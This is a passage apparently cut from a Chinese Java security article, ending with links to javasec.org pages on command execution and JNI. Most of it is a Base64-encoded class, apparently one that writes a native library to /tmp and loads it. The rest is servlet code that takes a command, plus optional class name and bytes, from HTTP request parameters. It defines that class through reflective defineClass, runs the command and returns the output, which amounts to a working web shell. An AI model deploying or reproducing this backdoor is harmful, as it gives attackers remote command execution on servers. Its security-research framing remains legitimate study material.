BQUFBQUFBSm9BQUFBQkFBQUFCZ0FBQUFBQUFBQVFFUUFBQUFBQUFCQVJBQUFBQUFBQTBBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFBQUFBQUNqQUFBQUFRQUFBQVlBQUFBQUFBQUE0QkVBQUFBQUFBRGdFUUFBQUFBQUFBVURBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBcVFBQUFBRUFBQUFHQUFBQUFBQUFBT2dVQUFBQUFBQUE2QlFBQUFBQUFBQU5BQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUs4QUFBQUJBQUFBQWdBQUFBQUFBQUFBSUFBQUFBQUFBQUFnQUFBQUFBQUFBd0FBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFDM0FBQUFBUUFBQUFJQUFBQUFBQUFBQkNBQUFBQUFBQUFFSUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQXhRQUFBQUVBQUFBQ0FBQUFBQUFBQUZBZ0FBQUFBQUFBVUNBQUFBQUFBQUE4QVFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFNOEFBQUFCQUFBQUFnQUFBQUFBQUFDTUlRQUFBQUFBQUl3aEFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBRGhBQUFBRGdBQUFBTUFBQUFBQUFBQTREMEFBQUFBQUFEZ0xRQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBQWdBQUFBQUFBQUE3UUFBQUE4QUFBQURBQUFBQUFBQUFQQTlBQUFBQUFBQThDMEFBQUFBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUFJQUFBQUFBQUFBUGtBQUFBR0FBQUFBd0FBQUFBQUFBRDRQUUFBQUFBQUFQZ3RBQUFBQUFBQTRBRUFBQUFBQUFBRkFBQUFBQUFBQUFnQUFBQUFBQUFBRUFBQUFBQUFBQUNWQUFBQUFRQUFBQU1BQUFBQUFBQUEyRDhBQUFBQUFBRFlMd0FBQUFBQUFDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBSUFBQUFBQUFBQUFnQUFBQUFBQUFBQWdFQUFBRUFBQUFEQUFBQUFBQUFBQUJBQUFBQUFBQUFBREFBQUFBQUFBQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUNBQUFBQUFBQUFBSUFBQUFBQUFBQUFzQkFBQUJBQUFBQXdBQUFBQUFBQUNBUUFBQUFBQUFBSUF3QUFBQUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBUkFRQUFDQUFBQUFNQUFBQUFBQUFBa0VBQUFBQUFBQUNRTUFBQUFBQUFBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUZnRUFBQUVBQUFBd0FBQUFBQUFBQUFBQUFBQUFBQUFBa0RBQUFBQUFBQUFyQUFBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU1Bd0FBQUFBQUFBd0FZQUFBQUFBQUFkQUFBQU5BQUFBQWdBQUFBQUFBQUFHQUFBQUFBQUFBQUpBQUFBQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQU53QUFBQUFBQUhvRUFBQUFBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFFUUFBQUFNQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQStqc0FBQUFBQUFBZkFRQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFBQUFBQT09BwBHDABIAEkHAEoMACIASwEAGGphdmEvaW8vRmlsZU91dHB1dFN0cmVhbQEADy90bXAvb3V0cHV0LmJpbgwAFQBMAQAdamF2YS9pby9GaWxlTm90Rm91bmRFeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAFQBNDABOAE8BABNqYXZhL2lvL0lPRXhjZXB0aW9uDABQABYHAFEMAFIATAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAB0RlY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEAGGphdmEvdXRpbC9CYXNlNjQkRGVjb2RlcgEABihbQilbQgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEABXdyaXRlAQAFKFtCKVYBAAVjbG9zZQEAEGphdmEvbGFuZy9TeXN0ZW0BAARsb2FkACEAAwARAAAAAQAZABIAEwABABQAAAACAAQAAwABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAgAGQAAAAwAAQAAAAUAGgAbAAABCQAcAB0AAAAIAB4AFgABABcAAAEXAAMAAwAAAE64AAISBLYABbYABksBTLsAB1kSCLcACUynAA1NuwALWSy3AAy/Kyq2AA2nAA1NuwALWSy3AAy/K7YAD6cADU27AAtZLLcADL8SCLgAELEAAwAOABgAGwAKACUAKgAtAA4ANwA7AD4ADgADABgAAABCABAAAAAMAAwADQAOAA8AGAASABsAEAAcABEAJQAUACoAFwAtABUALgAWADcAGQA7ABwAPgAaAD8AGwBIAB0ATQAeABkAAAA0AAUAHAAJAB8AIAACAC4ACQAfACEAAgA/AAkAHwAhAAIADABBACIAIwAAAA4APwAkACUAAQAmAAAAHQAG/wAbAAIHACcHACgAAQcAKQlHBwAqCUYHACoJAAIAKwAAAAIALABFAAAACgABADQALgBEAAk=";
String cmd = request.getParameter("cmd"); String className = request.getParameter("className"); String classByte = request.getParameter("classByte"); if (cmd == null) { return; } if (className != null) { COMMAND_CLASS_NAME = className; } if (classByte != null) { COMMAND_CLASS_BYTE_ENCODE = classByte; }
byte[] COMMAND_CLASS_BYTE = Base64.getDecoder().decode(COMMAND_CLASS_BYTE_ENCODE.getBytes()); ClassLoader classLoader = this.getClass().getClassLoader(); Method defineClass = getMethod(classLoader, "defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); Class<?> myCommandClass = (Class<?>) defineClass.invoke(classLoader, COMMAND_CLASS_NAME, COMMAND_CLASS_BYTE, 0, COMMAND_CLASS_BYTE.length); String result = (String) myCommandClass.getDeclaredMethod("exec", String.class).invoke(null, cmd); response.getWriter().write(result); }
public Method getMethod(Object o, String methodName, Class<?>... parameterTypes) throws NoSuchMethodException { if (o == null) { return null; } Class<?> clz = o.getClass(); Method method; while (true) { try { method = clz.getDeclaredMethod(methodName, parameterTypes); System.out.println("method = " + method); } catch (NoSuchMethodException e) { clz = clz.getSuperclass(); System.out.println("clz = " + clz); if (clz == null) { return null; } continue; } return method; } }
|
参考文章
1 2
| https://javasec.org/javase/CommandExecution/ https://javasec.org/javase/JNI/
|